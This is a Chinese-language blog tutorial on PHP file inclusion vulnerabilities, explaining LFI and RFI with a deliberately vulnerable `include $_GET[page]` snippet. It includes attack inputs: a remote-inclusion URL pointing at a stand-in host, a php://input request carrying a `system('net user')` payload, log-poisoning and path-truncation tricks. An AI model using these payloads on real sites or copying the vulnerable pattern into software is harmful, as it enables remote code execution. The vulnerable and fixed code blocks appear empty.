漏洞简介
包含的操作,在大多数变成语言中都是提供的功能。主要为的是代码重用之类操作。如:
C:
#include <stdio.h>
PHP:
include “config.php”
JSP:
当然这些操作本来是没有任何问题的。但是经过黑客的恶意的操作可能就会造成文件包含从而达到漏洞的利用。
漏洞讲解方法
由于PHP对于包含文件所提供的功能强大,灵活,所以包含漏洞经常出现在PHP网络程序中,这就导致了很多初学者可能会觉得文件包含只会出现在php设计的程序中,这个就是一些错误的认识了。这里我们讲解漏洞就用php来讲解,主要是PHP文件包含真是功能特别强大,所以说功能越多,漏洞就可能越多。
文件包含漏洞形成原因
程序员写程序的时候,不喜欢做同样的事情,也不喜欢把同样的代码(比如一些公用的函数)写几次,于是就把需要公用的代码写在一个单独的文件里面,比如share.php,而后在其它文件进行包含调用。在php里,我们就是使用include等几个函数来达到这个目的的,它的工作流程:如果你想在main.php里包含share.php,我就会这样写include(”share.php”)这样就达到目的,然后就可以使用share.php中的函数了,像这个写死需要包含的文件名称的自然没有什么问题,也不会出现漏洞,那么问题到底是出在哪里呢?
有的时候可能不能确定需要包含哪个文件,比如先来看下面这个文件index.php的代码:
if(@$_GET[page]){
@include $_GET[page];
}else{
include “home.php”
}
文件包含漏洞分类
1、本地包含 LFI main.php?page= “1.jpg”
2、远程包含 RFI 需要allow_url_include = On
main.php?page=http://hackme.com/1.txt
包含漏洞不是语言的问题,而是人的思维问题!
PHP中的四个包含文件函数include(),include_once(),
require()和require_once()。
只要是符合PHP语法的文件,无论什么扩展名,他都会被当做PHP文件来执行。
php包含日志文件
当某个PHP文件存在本地包含漏洞,而却无法上传正常文件,这就意味这有包含漏洞却不能拿来利用,这时攻击者就有可能会利用Apache日志文件来入侵。
Apache服务器运行后会生成两个日志文件,这两个文件是access.log(访问日志)和error.log(错误日志),Apache的日志文件记录了服务器对每次请求做出响应的有关信息,例如当我们请求index.php页面时,Apache就会记录下我们的操作,并且写到访问日志文件access.log之中。
常见日志文件位置
图1
PHP包含截断
1 |
|
这种方法只适用于magic_quotes_gpc = Off的时候php版本小于5.3.4详情关注CVE-2006-7243
在PHP的老版本(5.3以前)中也是存在着一些其他的截断问题,不过现在已经很难见到了,比如:
index.php?file=info.txt././././././././././././././././././././././….超过一定数量的./。
PHP包含写文件
构造URL:http://www.helloworld.com/index.php?page=php://input,
并且提交POST数据为:<?php system(‘net user’); ?>
只有在allow_url_include=On的时候才可以使用
漏洞代码
1 | If(!$metid) |
修复代码
1 | If(!$metid) |
Author: 云亦然
Link: http://JaneBraun.github.io/2021/04/23/网络安全之文件包含漏洞/
Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.